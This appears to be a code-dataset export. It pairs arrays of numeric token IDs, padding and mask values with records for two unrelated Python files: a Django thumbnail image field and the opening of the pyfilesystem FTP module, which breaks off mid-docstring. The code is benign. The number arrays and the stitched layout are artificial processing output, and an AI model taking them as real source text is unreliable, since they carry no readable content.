6273, 365, 370, 26449, 543, 314, 15750, 50, 1475, 3748, 3107, 20805, 4176, 14, 267, 710, 312, 21352, 425, 1174, 365, 14489, 687, 4770, 14, 3017, 69, 267, 6121, 10021, 2656, 365, 7513, 972, 687, 24122, 370, 1315, 1702, 267, 408, 267, 1072, 275, 359, 288, 5310, 14010, 20, 70, 93, 469, 14010, 20, 70, 93, 469, 14010, 20 ]
[ 2803, 26, 2774, 13, 24, 199, 3, 1898, 334, 67, 9, 1611, 30649, 15290, 11682, 14, 199, 3, 17484, 1334, 314, 2895, 402, 314, 10697, 844, 14, 421, 199, 646, 747, 199, 646, 295, 199, 199, 504, 3485, 369, 14, 2308, 492, 1315, 1490, 199, 504, 3485, 369, 14, 2374, 492, 5074, 199, 504, 3485, 369, 14, 17336, 492, 428, 1556, 693, 3567, 199, 199, 504, 1134, 30649, 14, 1018, 14, 6976, 492, 21730, 12, 3930, 14413, 199, 504, 1134, 30649, 14, 1018, 14, 25553, 492, 491, 292, 3548, 199, 504, 1134, 30649, 14, 2308, 14, 3919, 82, 492, 445, 385, 82, 199, 504, 1134, 30649, 14, 2308, 14, 8568, 492, 1323, 26184, 199, 199, 893, 26, 272, 687, 29986, 79, 14, 846, 3494, 492, 18840, 4491, 12, 812, 269, 265, 16142, 4491, 272, 687, 29986, 79, 14, 6789, 63, 2405, 492, 3301, 12, 13195, 63, 6789, 272, 687, 29986, 79, 14, 4201, 492, 664, 63, 16615, 63, 9828, 3199, 63, 328, 1787, 63, 6260, 13374, 63, 14419, 932, 12, 971, 267, 3550, 63, 11184, 30200, 63, 6260, 13374, 63, 14419, 265, 16142, 63, 1200, 12, 971, 267, 27619, 63, 14419, 265, 16142, 63, 1200, 63, 1600, 63, 932, 339, 29986, 79, 63, 4214, 275, 715, 199, 2590, 3545, 26, 272, 29986, 79, 63, 4214, 275, 756, 199, 199, 624, 199, 2377, 18234, 3992, 436, 3423, 370, 675, 3107, 20805, 4176, 14, 199, 199, 58, 20805, 4176, 26866, 428, 6224, 26, 199, 1280, 763, 199, 17, 9, 3107, 20805, 4176, 5074, 812, 269, 79, 4176, 14, 17955, 812, 269, 79, 4176, 687, 1233, 14, 18842, 14, 16294, 1808, 2043, 1007, 1023, 26, 2043, 298, 6836, 15243, 1553, 2473, 24757, 6836, 4178, 921, 600, 14, 18842, 14, 16294, 15, 6836, 15, 14419, 79, 15, 13409, 2043, 13635, 365, 24757, 6836, 14, 199, 18, 9, 428, 1224, 1015, 402, 3107, 20805, 4176, 883, 506, 15884, 687, 2043, 1455, 921, 1544, 14, 391, 559, 69, 74, 8210, 18595, 3605, 75, 14, 815, 15, 58, 69, 26740, 15, 2043, 26776, 652, 883, 506, 15884, 687, 1233, 14, 18842, 14, 16294, 14, 14402, 373, 269, 79, 2043, 543, 29986, 79, 14, 199, 19, 9, 334, 7012, 9, 13276, 29348, 687, 7305, 199, 3399, 4403, 1323, 26, 199, 20, 9, 334, 65, 9, 16407, 314, 812, 269, 79, 4176, 15, 14419, 79, 15, 13409, 15, 888, 14, 3880, 570, 370, 308, 4993, 2195, 3734, 2043, 334, 5772, 12, 17261, 680, 2043, 334, 66, 9, 3378, 1852, 1414, 199, 21, 9, 334, 65, 9, 16407, 314, 3107, 20805, 4176, 15, 13409, 15, 20747, 63, 5029, 15, 2758, 14, 647, 370, 6657, 2376, 370, 2043, 812, 269, 79, 4176, 2082, 14, 2043, 334, 66, 9, 3378, 298, 1548, 3272, 14, 647, 477, 7549, 2, 370, 3907, 3107, 20805, 4176, 2366, 17792, 14, 2043, 6423, 30905, 12, 652, 911, 5452, 282, 1830, 14, 199, 14091, 26, 199, 20, 9, 334, 65, 9, 16407, 314, 812, 269, 79, 4176, 15, 14419, 79, 15, 13409, 15, 888, 14, 3880, 570, 370, 308, 4993, 2195, 3734, 14, 2043, 334, 66, 9, 6121, 1050, 446, 70, 26769, 945, 370, 25149, 1750, 315, 1101, 14, 3880, 570, 14, 2043, 334, 67, 9, 3378, 1852, 1414, 199, 21, 9, 334, 65, 9, 3971, 370, 3107, 20805, 4176, 15, 806, 79, 15, 13409, 4922, 436, 6555, 29986, 79, 4176, 3555, 1808, 314, 2043, 1414, 298, 1875, 13119, 773, 1674, 2043, 334, 66, 9, 16407, 314, 3107, 20805, 4176, 15, 13409, 15, 20747, 63, 5029, 15, 2758, 63, 4478, 14, 647, 370, 6657, 2043, 2376, 370, 812, 269, 79, 4176, 2082, 14, 2043, 334, 67, 9, 3378, 298, 1548, 3272, 63, 4478, 14, 647, 477, 7549, 2, 370, 3907, 3107, 20805, 4176, 2366, 17792, 14, 199, 199, 58, 20805, 4176, 7711, 13, 31456, 25109, 26, 199, 1280, 17224, 199, 17, 9, 3971, 370, 1134, 30649, 15, 2308, 15, 2219, 436, 1255, 298, 1548, 511, 63, 806, 79, 2308, 14, 647, 2, 2043, 982, 3107, 20805, 4176, 2366, 17792, 787, 7684, 4903, 12, 314, 2295, 1077, 2043, 986, 14, 7309, 503, 2877, 2295, 911, 506, 9645, 14, 199, 66, 9, 3971, 370, 1134, 30649, 15, 10466, 15, 25546, 83, 15, 2219, 436, 1255, 2043, 298, 1548, 511, 63, 1403, 63, 25546, 83, 14, 647, 1674, 491, 16673, 402, 2295, 911, 506, 9645, 340, 598, 1293, 48, 2043, 365, 440, 4903, 14, 11017, 2337, 1077, 506, 949, 2552, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 298, 34, 8210, 292, 603, 379, 305, 26455, 2, 199, 363, 7307, 275, 298, 7384, 6171, 12, 710, 26570, 83, 7290, 2, 199, 363, 1023, 363, 275, 298, 16, 14, 17, 2, 199, 363, 26665, 363, 275, 298, 34, 8210, 292, 603, 379, 305, 26455, 2, 199, 363, 2123, 363, 275, 298, 887, 75, 453, 285, 32, 6799, 14, 957, 2, 199, 363, 576, 363, 275, 298, 21640, 499, 12, 6171, 2, 421, 199, 533, 3107, 20805, 35, 385, 82, 8, 35, 385, 82, 304, 272, 408, 272, 3107, 20805, 35, 385, 82, 9584, 2402, 1504, 370, 15750, 50, 15424, 370, 26449, 543, 3107, 20805, 4176, 272, 1324, 15750, 50, 1475, 14, 710, 10021, 2656, 365, 221, 451, 972, 687, 24122, 370, 1315, 20937, 14, 272, 961, 1570, 741, 28530, 314, 22292, 3114, 402, 1134, 30649, 334, 90, 13, 3127, 9, 370, 22292, 3114, 272, 402, 3107, 20805, 4176, 334, 88, 13, 3127, 9, 367, 2702, 300, 4889, 23070, 14, 339, 3033, 26, 267, 5523, 26, 437, 5523, 370, 1218, 3107, 20805, 35, 385, 82, 909, 272, 408, 339, 347, 636, 826, 721, 277, 12, 5523, 304, 267, 1613, 11027, 826, 721, 6976, 9, 339, 347, 636, 495, 721, 277, 304, 267, 408, 267, 15750, 50, 855, 495, 363, 1083, 365, 6042, 370, 299, 525, 378, 1159, 370, 314, 15750, 50, 4770, 666, 14, 267, 710, 6273, 365, 370, 26449, 543, 314, 15750, 50, 1475, 3748, 3107, 20805, 4176, 14, 267, 710, 312, 21352, 425, 1174, 365, 14489, 687, 4770, 14, 3017, 69, 267, 6121, 10021, 2656, 365, 7513, 972, 687, 24122, 370, 1315, 1702, 267, 408, 267, 1072, 275, 359, 288, 5310, 14010, 20, 70, 93, 469, 14010, 20, 70, 93, 469, 14010, 20, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
raviii/ravii
items/fields.py
1
1881
from django.db.models.fields.files import ImageField, ImageFieldFile from PIL import Image import os def _add_thumb(s): """ Modifies a string (filename, URL) containing an image filename, to insert '.thumb' """ parts = s.split(".") parts.insert(-1, "thumb") if parts[-1].lower() not in ['jpeg', 'jpg']: parts[-1] = 'jpg' return ".".join(parts) class ThumbnailImageFieldFile(ImageFieldFile): def _get_thumb_path(self): return _add_thumb(self.path) thumb_path = property(_get_thumb_path) def _get_thumb_url(self): return _add_thumb(self.url) thumb_url = property(_get_thumb_url) def save(self, name, content, save=True): super(ThumbnailImageFieldFile, self).save(name, content, save) img = Image.open(self.path) img.thumbnail( (self.field.thumb_width, self.field.thumb_height), Image.ANTIALIAS ) img.save(self.thumb_path, 'JPEG') def delete(self, save=True): if os.path.exists(self.thumb_path): os.remove(self.thumb_path) super(ThumbnailImageFieldFile, self).delete(save) class ThumbnailImageField(ImageField): """ Behaves like a regular ImageField, but stores an extra (JPEG) thumbnail image, providing FIELD.thumb_url and FIELD.thumb_path. Accepts two additional, optional arguments: thumb_width and thumb_height, both defaulting to 128 (pixels). Resizing will preserve aspect ratio while staying inside the requested dimensions; see PIL's Image.thumbnail() method documentation for details. """ attr_class = ThumbnailImageFieldFile def __init__(self, thumb_width=128, thumb_height=128, *args, **kwargs): self.thumb_width = thumb_width self.thumb_height = thumb_height super(ThumbnailImageField, self).__init__(*args, **kwargs)
bsd-3-clause
[ 504, 1639, 14, 697, 14, 992, 14, 955, 14, 1725, 492, 6047, 792, 12, 6047, 792, 1173, 199, 504, 14937, 492, 6047, 199, 646, 747, 199, 199, 318, 485, 525, 63, 16534, 8, 83, 304, 272, 408, 272, 12972, 5604, 282, 1059, 334, 1501, 12, 2851, 9, 3035, 376, 1834, 1788, 12, 370, 5518, 272, 1987, 16534, 7, 272, 408, 272, 4184, 275, 308, 14, 1294, 15857, 272, 4184, 14, 3176, 2801, 17, 12, 298, 16534, 531, 272, 340, 4184, 1988, 17, 1055, 2325, 342, 440, 315, 788, 14230, 297, 283, 8476, 2565, 267, 4184, 1988, 17, 61, 275, 283, 8476, 7, 272, 372, 32443, 904, 8, 4181, 9, 199, 199, 533, 3868, 5820, 21910, 1173, 8, 21910, 1173, 304, 272, 347, 485, 362, 63, 16534, 63, 515, 8, 277, 304, 267, 372, 485, 525, 63, 16534, 8, 277, 14, 515, 9, 272, 21541, 63, 515, 275, 3324, 1547, 362, 63, 16534, 63, 515, 9, 2286, 347, 485, 362, 63, 16534, 63, 633, 8, 277, 304, 267, 372, 485, 525, 63, 16534, 8, 277, 14, 633, 9, 272, 21541, 63, 633, 275, 3324, 1547, 362, 63, 16534, 63, 633, 9, 339, 347, 3354, 8, 277, 12, 536, 12, 1564, 12, 3354, 29, 549, 304, 267, 1613, 8, 2719, 5820, 21910, 1173, 12, 291, 680, 2117, 8, 354, 12, 1564, 12, 3354, 9, 267, 6050, 275, 6047, 14, 1490, 8, 277, 14, 515, 9, 267, 6050, 14, 8311, 8, 288, 334, 277, 14, 698, 14, 16534, 63, 2063, 12, 291, 14, 698, 14, 16534, 63, 3333, 395, 288, 6047, 14, 1441, 4938, 11352, 267, 776, 267, 6050, 14, 2117, 8, 277, 14, 16534, 63, 515, 12, 283, 28412, 358, 339, 347, 3145, 8, 277, 12, 3354, 29, 549, 304, 267, 340, 747, 14, 515, 14, 2444, 8, 277, 14, 16534, 63, 515, 304, 288, 747, 14, 2168, 8, 277, 14, 16534, 63, 515, 9, 267, 1613, 8, 2719, 5820, 21910, 1173, 12, 291, 680, 1807, 8, 2117, 9, 421, 199, 533, 3868, 5820, 21910, 8, 21910, 304, 272, 408, 272, 6423, 72, 7047, 2839, 282, 5578, 6047, 792, 12, 1325, 14086, 376, 2402, 334, 28412, 9, 10062, 272, 1834, 12, 13070, 26130, 14, 16534, 63, 633, 436, 26130, 14, 16534, 63, 515, 14, 2286, 15506, 83, 2877, 4722, 12, 2716, 2368, 26, 21541, 63, 2063, 436, 21541, 63, 3333, 12, 272, 3865, 849, 316, 370, 7960, 334, 15727, 680, 799, 30639, 911, 11211, 17435, 10463, 1830, 272, 25578, 316, 6272, 314, 5839, 7365, 27, 1937, 14937, 1159, 6047, 14, 8311, 342, 272, 1083, 3794, 367, 2436, 14, 272, 408, 272, 1921, 63, 533, 275, 3868, 5820, 21910, 1173, 339, 347, 636, 826, 721, 277, 12, 21541, 63, 2063, 29, 3933, 12, 21541, 63, 3333, 29, 3933, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 16534, 63, 2063, 275, 21541, 63, 2063, 267, 291, 14, 16534, 63, 3333, 275, 21541, 63, 3333, 267, 1613, 8, 2719, 5820, 21910, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1639, 14, 697, 14, 992, 14, 955, 14, 1725, 492, 6047, 792, 12, 6047, 792, 1173, 199, 504, 14937, 492, 6047, 199, 646, 747, 199, 199, 318, 485, 525, 63, 16534, 8, 83, 304, 272, 408, 272, 12972, 5604, 282, 1059, 334, 1501, 12, 2851, 9, 3035, 376, 1834, 1788, 12, 370, 5518, 272, 1987, 16534, 7, 272, 408, 272, 4184, 275, 308, 14, 1294, 15857, 272, 4184, 14, 3176, 2801, 17, 12, 298, 16534, 531, 272, 340, 4184, 1988, 17, 1055, 2325, 342, 440, 315, 788, 14230, 297, 283, 8476, 2565, 267, 4184, 1988, 17, 61, 275, 283, 8476, 7, 272, 372, 32443, 904, 8, 4181, 9, 199, 199, 533, 3868, 5820, 21910, 1173, 8, 21910, 1173, 304, 272, 347, 485, 362, 63, 16534, 63, 515, 8, 277, 304, 267, 372, 485, 525, 63, 16534, 8, 277, 14, 515, 9, 272, 21541, 63, 515, 275, 3324, 1547, 362, 63, 16534, 63, 515, 9, 2286, 347, 485, 362, 63, 16534, 63, 633, 8, 277, 304, 267, 372, 485, 525, 63, 16534, 8, 277, 14, 633, 9, 272, 21541, 63, 633, 275, 3324, 1547, 362, 63, 16534, 63, 633, 9, 339, 347, 3354, 8, 277, 12, 536, 12, 1564, 12, 3354, 29, 549, 304, 267, 1613, 8, 2719, 5820, 21910, 1173, 12, 291, 680, 2117, 8, 354, 12, 1564, 12, 3354, 9, 267, 6050, 275, 6047, 14, 1490, 8, 277, 14, 515, 9, 267, 6050, 14, 8311, 8, 288, 334, 277, 14, 698, 14, 16534, 63, 2063, 12, 291, 14, 698, 14, 16534, 63, 3333, 395, 288, 6047, 14, 1441, 4938, 11352, 267, 776, 267, 6050, 14, 2117, 8, 277, 14, 16534, 63, 515, 12, 283, 28412, 358, 339, 347, 3145, 8, 277, 12, 3354, 29, 549, 304, 267, 340, 747, 14, 515, 14, 2444, 8, 277, 14, 16534, 63, 515, 304, 288, 747, 14, 2168, 8, 277, 14, 16534, 63, 515, 9, 267, 1613, 8, 2719, 5820, 21910, 1173, 12, 291, 680, 1807, 8, 2117, 9, 421, 199, 533, 3868, 5820, 21910, 8, 21910, 304, 272, 408, 272, 6423, 72, 7047, 2839, 282, 5578, 6047, 792, 12, 1325, 14086, 376, 2402, 334, 28412, 9, 10062, 272, 1834, 12, 13070, 26130, 14, 16534, 63, 633, 436, 26130, 14, 16534, 63, 515, 14, 2286, 15506, 83, 2877, 4722, 12, 2716, 2368, 26, 21541, 63, 2063, 436, 21541, 63, 3333, 12, 272, 3865, 849, 316, 370, 7960, 334, 15727, 680, 799, 30639, 911, 11211, 17435, 10463, 1830, 272, 25578, 316, 6272, 314, 5839, 7365, 27, 1937, 14937, 1159, 6047, 14, 8311, 342, 272, 1083, 3794, 367, 2436, 14, 272, 408, 272, 1921, 63, 533, 275, 3868, 5820, 21910, 1173, 339, 347, 636, 826, 721, 277, 12, 21541, 63, 2063, 29, 3933, 12, 21541, 63, 3333, 29, 3933, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 16534, 63, 2063, 275, 21541, 63, 2063, 267, 291, 14, 16534, 63, 3333, 275, 21541, 63, 3333, 267, 1613, 8, 2719, 5820, 21910, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
GbalsaC/bitnamiP
venv/lib/python2.7/site-packages/fs/ftpfs.py
3
47623
""" fs.ftpfs ======== FTPFS is a filesystem for accessing an FTP server (uses ftplib in standard library) """ __all__ = ['FTPFS'] import sys import fs from fs.base import * from fs.errors import * from fs.path import pathsplit, abspath, dirname, recursepath, normpath, pathjoin, isbase from ftplib import FTP, error_perm, error_temp, error_proto, error_reply try: from ftplib import _GLOBAL_DEFAULT_TIMEOUT except ImportError: _GLOBAL_DEFAULT_TIMEOUT = object() import threading import datetime import calendar from socket import error as socket_error from fs.local_functools import wraps try: from cStringIO import StringIO except ImportError: from StringIO import StringIO import time # ----------------------------------------------- # Taken from http://www.clapper.org/software/python/grizzled/ # ----------------------------------------------- class Enum(object): def __init__(self, *names): self._names_map = dict((name, i) for i, name in enumerate(names)) def __getattr__(self, name): return self._names_map[name] MONTHS = ('jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec') MTIME_TYPE = Enum('UNKNOWN', 'LOCAL', 'REMOTE_MINUTE', 'REMOTE_DAY') """ ``MTIME_TYPE`` identifies how a modification time ought to be interpreted (assuming the caller cares). - ``LOCAL``: Time is local to the client, granular to (at least) the minute - ``REMOTE_MINUTE``: Time is local to the server and granular to the minute - ``REMOTE_DAY``: Time is local to the server and granular to the day. - ``UNKNOWN``: Time's locale is unknown. """ ID_TYPE = Enum('UNKNOWN', 'FULL') """ ``ID_TYPE`` identifies how a file's identifier should be interpreted. - ``FULL``: The ID is known to be complete. - ``UNKNOWN``: The ID is not set or its type is unknown. """ # --------------------------------------------------------------------------- # Globals # --------------------------------------------------------------------------- now = time.time() current_year = time.localtime().tm_year # --------------------------------------------------------------------------- # Classes # --------------------------------------------------------------------------- class FTPListData(object): """ The `FTPListDataParser` class's ``parse_line()`` method returns an instance of this class, capturing the parsed data. :IVariables: name : str The name of the file, if parsable try_cwd : 